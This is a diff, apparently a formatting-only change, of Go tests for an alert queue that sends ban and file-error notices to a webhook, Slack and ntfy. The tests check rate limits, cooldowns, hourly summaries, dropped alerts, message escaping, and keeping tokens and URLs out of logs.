q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
|
q.Raise(
|
||||||
|
alerts.Alert{
|
||||||
|
Event: alerts.EventPermanentBan,
|
||||||
|
Netblock: netblock(4),
|
||||||
|
},
|
||||||
|
)
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventFileError})
|
q.Raise(alerts.Alert{Event: alerts.EventFileError})
|
||||||
|
|
||||||
// The summary is sent as the hour ends, and not before.
|
// The summary is sent as the hour ends, and not before.
|
||||||
@@ -346,7 +412,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
|
wantEvents(
|
||||||
|
t,
|
||||||
|
webhook,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventSummary,
|
||||||
|
)
|
||||||
|
|
||||||
summary := webhook.received()[2].alert
|
summary := webhook.received()[2].alert
|
||||||
wantAlert(t, summary, map[string]any{
|
wantAlert(t, summary, map[string]any{
|
||||||
@@ -364,7 +436,9 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
"hour": started,
|
"hour": started,
|
||||||
"count": float64(3),
|
"count": float64(3),
|
||||||
"events": map[string]any{
|
"events": map[string]any{
|
||||||
"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
|
"ban": float64(
|
||||||
|
1,
|
||||||
|
), "permanent_ban": float64(1), "file_error": float64(1),
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"suppressed_repeats": float64(0),
|
"suppressed_repeats": float64(0),
|
||||||
@@ -375,13 +449,21 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
|
wantEvents(
|
||||||
alerts.EventBan)
|
t,
|
||||||
|
webhook,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventSummary,
|
||||||
|
alerts.EventBan,
|
||||||
|
)
|
||||||
wantCounts(t, q, 4, 0, 3, 0)
|
wantCounts(t, q, 4, 0, 3, 0)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
|
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -389,7 +471,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
|
|||||||
params.MaxPerHour = 1
|
params.MaxPerHour = 1
|
||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
raise := func() {
|
raise := func() {
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The hour's one alert, and two repeats the cooldown holds back.
|
// The hour's one alert, and two repeats the cooldown holds back.
|
||||||
@@ -408,7 +492,13 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
|
|||||||
raise()
|
raise()
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
|
wantEvents(
|
||||||
|
t,
|
||||||
|
webhook,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventSummary,
|
||||||
|
alerts.EventBan,
|
||||||
|
)
|
||||||
|
|
||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
if len(got) == 3 {
|
if len(got) == 3 {
|
||||||
@@ -416,11 +506,16 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
|
|||||||
summaryRepeats := got[1].alert["suppressed_repeats"]
|
summaryRepeats := got[1].alert["suppressed_repeats"]
|
||||||
lastRepeats := got[2].alert["suppressed_repeats"]
|
lastRepeats := got[2].alert["suppressed_repeats"]
|
||||||
|
|
||||||
if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
|
if detail["count"] != float64(1) ||
|
||||||
|
summaryRepeats != float64(2) ||
|
||||||
lastRepeats != float64(0) {
|
lastRepeats != float64(0) {
|
||||||
t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
|
t.Errorf(
|
||||||
"alert gives %v repeats, want 1, 2 and 0", detail["count"],
|
"the summary counts %v alerts and %v repeats, and the last "+
|
||||||
summaryRepeats, lastRepeats)
|
"alert gives %v repeats, want 1, 2 and 0",
|
||||||
|
detail["count"],
|
||||||
|
summaryRepeats,
|
||||||
|
lastRepeats,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -428,7 +523,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
|
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
|
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
|
||||||
@@ -465,8 +562,12 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
|
|||||||
|
|
||||||
kept := len(q.Snapshot().Cooldowns)
|
kept := len(q.Snapshot().Cooldowns)
|
||||||
if kept > int(cooldown/time.Minute) {
|
if kept > int(cooldown/time.Minute) {
|
||||||
t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
|
t.Errorf(
|
||||||
netblocks, kept, int(cooldown/time.Minute))
|
"after %d netblocks, %d cooldowns are kept, want at most %d",
|
||||||
|
netblocks,
|
||||||
|
kept,
|
||||||
|
int(cooldown/time.Minute),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -484,8 +585,13 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
|
|||||||
|
|
||||||
kept := len(q.Snapshot().Cooldowns)
|
kept := len(q.Snapshot().Cooldowns)
|
||||||
if kept != 0 || repeats != float64(netblocks) {
|
if kept != 0 || repeats != float64(netblocks) {
|
||||||
t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
|
t.Errorf(
|
||||||
"want 0 and %d", kept, repeats, netblocks)
|
"%d cooldowns are kept and the webhook was given %v repeats, "+
|
||||||
|
"want 0 and %d",
|
||||||
|
kept,
|
||||||
|
repeats,
|
||||||
|
netblocks,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
@@ -620,8 +726,14 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
|||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged,
|
if !strings.Contains(logged,
|
||||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
||||||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
|
strings.Contains(
|
||||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
logged,
|
||||||
|
"alerts.example",
|
||||||
|
) || strings.Contains(logged, "team=ops") {
|
||||||
|
t.Errorf(
|
||||||
|
"process log %q names no failure, or names the URL",
|
||||||
|
logged,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -639,7 +751,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
// than the queue holds is raised: none waits, and the oldest, the
|
// than the queue holds is raised: none waits, and the oldest, the
|
||||||
// one the webhook was sent, is dropped.
|
// one the webhook was sent, is dropped.
|
||||||
for n := range alerts.QueueSize + 1 {
|
for n := range alerts.QueueSize + 1 {
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
q.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
||||||
|
)
|
||||||
|
|
||||||
if n == 0 {
|
if n == 0 {
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
@@ -653,9 +767,17 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
wantCounts(t, q, 0, 0, 0, 1)
|
wantCounts(t, q, 0, 0, 0, 1)
|
||||||
|
|
||||||
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
|
if len(waiting) != alerts.QueueSize ||
|
||||||
t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
|
waiting[0].Netblock != netblock(1) {
|
||||||
len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
|
t.Fatalf(
|
||||||
|
"%d alerts wait, the first for %s, want %d, the first for %s",
|
||||||
|
len(
|
||||||
|
waiting,
|
||||||
|
),
|
||||||
|
waiting[0].Netblock,
|
||||||
|
alerts.QueueSize,
|
||||||
|
netblock(1),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The request is abandoned after 10 seconds, and the webhook, which
|
// The request is abandoned after 10 seconds, and the webhook, which
|
||||||
@@ -667,14 +789,22 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
if len(got) != alerts.QueueSize+1 ||
|
if len(got) != alerts.QueueSize+1 ||
|
||||||
got[0].alert["netblock"] != netblock(0).String() {
|
got[0].alert["netblock"] != netblock(0).String() {
|
||||||
t.Fatalf("the webhook had %d requests, want %d, the first for %s",
|
t.Fatalf(
|
||||||
len(got), alerts.QueueSize+1, netblock(0))
|
"the webhook had %d requests, want %d, the first for %s",
|
||||||
|
len(got),
|
||||||
|
alerts.QueueSize+1,
|
||||||
|
netblock(0),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for i, request := range got[1:] {
|
for i, request := range got[1:] {
|
||||||
if request.alert["netblock"] != netblock(i+1).String() {
|
if request.alert["netblock"] != netblock(i+1).String() {
|
||||||
t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
|
t.Fatalf(
|
||||||
netblock(i+1))
|
"request %d is for %v, want %s",
|
||||||
|
i+1,
|
||||||
|
request.alert["netblock"],
|
||||||
|
netblock(i+1),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -692,8 +822,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
|
|
||||||
// Not sent: Run is not running. The repeat is held back by the
|
// Not sent: Run is not running. The repeat is held back by the
|
||||||
// cooldown, and the file error past the hourly limit.
|
// cooldown, and the file error past the hourly limit.
|
||||||
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
before.Raise(
|
||||||
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
||||||
|
)
|
||||||
|
before.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
||||||
|
)
|
||||||
before.Raise(alerts.Alert{Event: alerts.EventFileError})
|
before.Raise(alerts.Alert{Event: alerts.EventFileError})
|
||||||
|
|
||||||
time.Sleep(time.Minute)
|
time.Sleep(time.Minute)
|
||||||
@@ -704,7 +838,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
// The new queue sends the alert waiting, holds back the repeat as
|
// The new queue sends the alert waiting, holds back the repeat as
|
||||||
// the cooldown still runs, and sends the summary of the hour, which
|
// the cooldown still runs, and sends the summary of the hour, which
|
||||||
// gives both repeats, as the cooldown has run out.
|
// gives both repeats, as the cooldown has run out.
|
||||||
after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
after.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
||||||
|
)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(t, webhook, alerts.EventBan)
|
wantEvents(t, webhook, alerts.EventBan)
|
||||||
|
|
||||||
@@ -715,9 +851,13 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
summary := webhook.received()[1].alert
|
summary := webhook.received()[1].alert
|
||||||
detail, _ := summary["detail"].(map[string]any)
|
detail, _ := summary["detail"].(map[string]any)
|
||||||
|
|
||||||
if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
|
if detail["count"] != float64(1) ||
|
||||||
t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
|
summary["suppressed_repeats"] != float64(2) {
|
||||||
detail["count"], summary["suppressed_repeats"])
|
t.Errorf(
|
||||||
|
"the summary counts %v alerts and %v repeats, want 1 and 2",
|
||||||
|
detail["count"],
|
||||||
|
summary["suppressed_repeats"],
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -747,7 +887,13 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
|
|||||||
|
|
||||||
for i, each := range want {
|
for i, each := range want {
|
||||||
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
|
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
|
||||||
wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
|
wantNtfyMessage(
|
||||||
|
t,
|
||||||
|
ntfy[i],
|
||||||
|
each.title,
|
||||||
|
each.priorityAndTag,
|
||||||
|
each.text,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -760,14 +906,23 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
params.WebhookURL = nil
|
params.WebhookURL = nil
|
||||||
params.MaxPerHour = 1
|
params.MaxPerHour = 1
|
||||||
standIns, q := startAll(t, params)
|
standIns, q := startAll(t, params)
|
||||||
ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
|
ban := alerts.Alert{
|
||||||
|
Event: alerts.EventBan,
|
||||||
|
Netblock: netblock(1),
|
||||||
|
Reason: "a ban",
|
||||||
|
}
|
||||||
|
|
||||||
// The hour's one alert, a repeat of it the cooldown holds back, and
|
// The hour's one alert, a repeat of it the cooldown holds back, and
|
||||||
// an alert past the limit; once the hour has ended, its summary,
|
// an alert past the limit; once the hour has ended, its summary,
|
||||||
// which gives the repeat, and the next alert, which gives none.
|
// which gives the repeat, and the next alert, which gives none.
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
|
q.Raise(
|
||||||
|
alerts.Alert{
|
||||||
|
Event: alerts.EventFileError,
|
||||||
|
Reason: "a file error",
|
||||||
|
},
|
||||||
|
)
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
@@ -786,8 +941,18 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||||
|
|
||||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||||
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
|
wantNtfyMessage(
|
||||||
wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
|
t,
|
||||||
|
ntfy[1],
|
||||||
|
instance+": summary",
|
||||||
|
"default bar_chart",
|
||||||
|
summary,
|
||||||
|
)
|
||||||
|
wantSlackMessage(
|
||||||
|
t,
|
||||||
|
slack[2],
|
||||||
|
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
|
||||||
|
)
|
||||||
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
|
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
|
||||||
"a ban\nnetblock: 203.0.113.1/32")
|
"a ban\nnetblock: 203.0.113.1/32")
|
||||||
})
|
})
|
||||||
@@ -813,7 +978,11 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
|
|||||||
|
|
||||||
wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
|
wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
|
||||||
"<!channel> & <https://x.example|y>")
|
"<!channel> & <https://x.example|y>")
|
||||||
wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
|
wantBodies(
|
||||||
|
t,
|
||||||
|
standIns[alerts.DestinationNtfy],
|
||||||
|
"<!channel> & <https://x.example|y>",
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -835,7 +1004,12 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
|
|||||||
params.NtfyToken = tc.token
|
params.NtfyToken = tc.token
|
||||||
standIns, q := startAll(t, params)
|
standIns, q := startAll(t, params)
|
||||||
|
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(
|
||||||
|
alerts.Alert{
|
||||||
|
Event: alerts.EventBan,
|
||||||
|
Netblock: netblock(1),
|
||||||
|
},
|
||||||
|
)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
for destination, want := range map[string][]string{
|
for destination, want := range map[string][]string{
|
||||||
@@ -845,13 +1019,21 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
got := standIns[destination].received()
|
got := standIns[destination].received()
|
||||||
if len(got) != 1 {
|
if len(got) != 1 {
|
||||||
t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
|
t.Fatalf(
|
||||||
|
"%s was sent %d requests, want 1",
|
||||||
|
destination,
|
||||||
|
len(got),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
authorization := got[0].header.Values("Authorization")
|
authorization := got[0].header.Values("Authorization")
|
||||||
if !slices.Equal(authorization, want) {
|
if !slices.Equal(authorization, want) {
|
||||||
t.Errorf("%s was sent Authorization %q, want %q", destination,
|
t.Errorf(
|
||||||
authorization, want)
|
"%s was sent Authorization %q, want %q",
|
||||||
|
destination,
|
||||||
|
authorization,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -870,7 +1052,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
standIns[alerts.DestinationSlack].set(hanging)
|
standIns[alerts.DestinationSlack].set(hanging)
|
||||||
|
|
||||||
for n := range 3 {
|
for n := range 3 {
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
q.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
@@ -885,7 +1069,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
wantDestinationCounts(t, q, destination, want)
|
wantDestinationCounts(t, q, destination, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
|
if got := standIns[alerts.DestinationSlack].received(); len(
|
||||||
|
got,
|
||||||
|
) != 1 {
|
||||||
t.Errorf("Slack was sent %d requests, want 1", len(got))
|
t.Errorf("Slack was sent %d requests, want 1", len(got))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -900,11 +1086,16 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
alerts.Counts{Sent: 3, SendFailures: 1})
|
alerts.Counts{Sent: 3, SendFailures: 1})
|
||||||
|
|
||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged,
|
if !strings.Contains(
|
||||||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
logged,
|
||||||
|
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
|
||||||
|
) ||
|
||||||
strings.Contains(logged, "hooks.slack.example") ||
|
strings.Contains(logged, "hooks.slack.example") ||
|
||||||
strings.Contains(logged, "T0123") {
|
strings.Contains(logged, "T0123") {
|
||||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
t.Errorf(
|
||||||
|
"process log %q names no failure, or names the URL",
|
||||||
|
logged,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -922,7 +1113,9 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
|
|||||||
// Each alert is raised once each destination has done all it can
|
// Each alert is raised once each destination has done all it can
|
||||||
// with those before it.
|
// with those before it.
|
||||||
for n := range alerts.QueueSize + 1 {
|
for n := range alerts.QueueSize + 1 {
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
q.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
||||||
|
)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1136,7 +1329,10 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
|
|||||||
// startAll returns, by destination, a stand-in that answers for each
|
// startAll returns, by destination, a stand-in that answers for each
|
||||||
// destination params sets, and a Queue that sends to them, run until the
|
// destination params sets, and a Queue that sends to them, run until the
|
||||||
// test ends.
|
// test ends.
|
||||||
func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
|
func startAll(
|
||||||
|
t *testing.T,
|
||||||
|
params alerts.Params,
|
||||||
|
) (map[string]*standIn, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
q := alerts.New(params)
|
q := alerts.New(params)
|
||||||
@@ -1170,7 +1366,9 @@ func midnight() time.Time {
|
|||||||
|
|
||||||
// netblock returns the n-th netblock of a test, counted from 0.
|
// netblock returns the n-th netblock of a test, counted from 0.
|
||||||
func netblock(n int) netip.Prefix {
|
func netblock(n int) netip.Prefix {
|
||||||
return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
|
return netip.MustParsePrefix(
|
||||||
|
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// roundTrip returns state once written as JSON and read back, as
|
// roundTrip returns state once written as JSON and read back, as
|
||||||
@@ -1223,12 +1421,22 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
|
|||||||
// requests to it that it counts as failed, the alerts it counts as held
|
// requests to it that it counts as failed, the alerts it counts as held
|
||||||
// back, and those it counts as dropped for the webhook.
|
// back, and those it counts as dropped for the webhook.
|
||||||
func wantCounts(
|
func wantCounts(
|
||||||
t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
|
t *testing.T,
|
||||||
|
q *alerts.Queue,
|
||||||
|
sent, sendFailures, suppressed, dropped int64,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
wantDestinationCounts(t, q, alerts.DestinationWebhook,
|
wantDestinationCounts(
|
||||||
alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
|
t,
|
||||||
|
q,
|
||||||
|
alerts.DestinationWebhook,
|
||||||
|
alerts.Counts{
|
||||||
|
Sent: sent,
|
||||||
|
SendFailures: sendFailures,
|
||||||
|
Dropped: dropped,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
if q.Suppressed() != suppressed {
|
if q.Suppressed() != suppressed {
|
||||||
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
||||||
@@ -1261,7 +1469,9 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
{
|
{
|
||||||
alerts.Alert{
|
alerts.Alert{
|
||||||
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
|
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
|
Netblock: netip.MustParsePrefix(
|
||||||
|
"203.0.113.0/24",
|
||||||
|
), Country: "DE",
|
||||||
Reason: "requests per hour over the limit of 10000",
|
Reason: "requests per hour over the limit of 10000",
|
||||||
Detail: map[string]any{"mode": "observe"},
|
Detail: map[string]any{"mode": "observe"},
|
||||||
},
|
},
|
||||||
@@ -1272,7 +1482,9 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
{
|
{
|
||||||
alerts.Alert{
|
alerts.Alert{
|
||||||
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
|
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
|
||||||
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
|
Netblock: netip.MustParsePrefix(
|
||||||
|
"198.51.100.7/32",
|
||||||
|
), Country: "FR",
|
||||||
Reason: "matched the rule env-file",
|
Reason: "matched the rule env-file",
|
||||||
},
|
},
|
||||||
"fsn1app1/blog: permanent_ban", "high no_entry",
|
"fsn1app1/blog: permanent_ban", "high no_entry",
|
||||||
@@ -1347,18 +1559,30 @@ func wantSlackMessage(t *testing.T, request post, text string) {
|
|||||||
// wantNtfyMessage checks that request, one ntfy was sent, posted the
|
// wantNtfyMessage checks that request, one ntfy was sent, posted the
|
||||||
// message text with the title, and with the priority and the tag
|
// message text with the title, and with the priority and the tag
|
||||||
// priorityAndTag gives, with a space between them.
|
// priorityAndTag gives, with a space between them.
|
||||||
func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
|
func wantNtfyMessage(
|
||||||
|
t *testing.T,
|
||||||
|
request post,
|
||||||
|
title, priorityAndTag, text string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := []string{
|
got := []string{
|
||||||
request.method, request.url, request.header.Get("Title"),
|
request.method, request.url, request.header.Get("Title"),
|
||||||
request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
|
request.header.Get(
|
||||||
|
"Priority",
|
||||||
|
) + " " + request.header.Get(
|
||||||
|
"Tags",
|
||||||
|
), request.body,
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
|
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
|
t.Errorf(
|
||||||
"%q, want %q", got, want)
|
"ntfy was sent the method, URL, title, priority and tag, and text "+
|
||||||
|
"%q, want %q",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -43,7 +43,13 @@ const (
|
|||||||
|
|
||||||
// Scopes returns every scope.
|
// Scopes returns every scope.
|
||||||
func Scopes() []string {
|
func Scopes() []string {
|
||||||
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
|
return []string{
|
||||||
|
ScopeClient,
|
||||||
|
ScopeNet,
|
||||||
|
ScopeASN,
|
||||||
|
ScopeTotal,
|
||||||
|
ScopeWatchedNet,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// The windows a counter counts in, as the alerts name them.
|
// The windows a counter counts in, as the alerts name them.
|
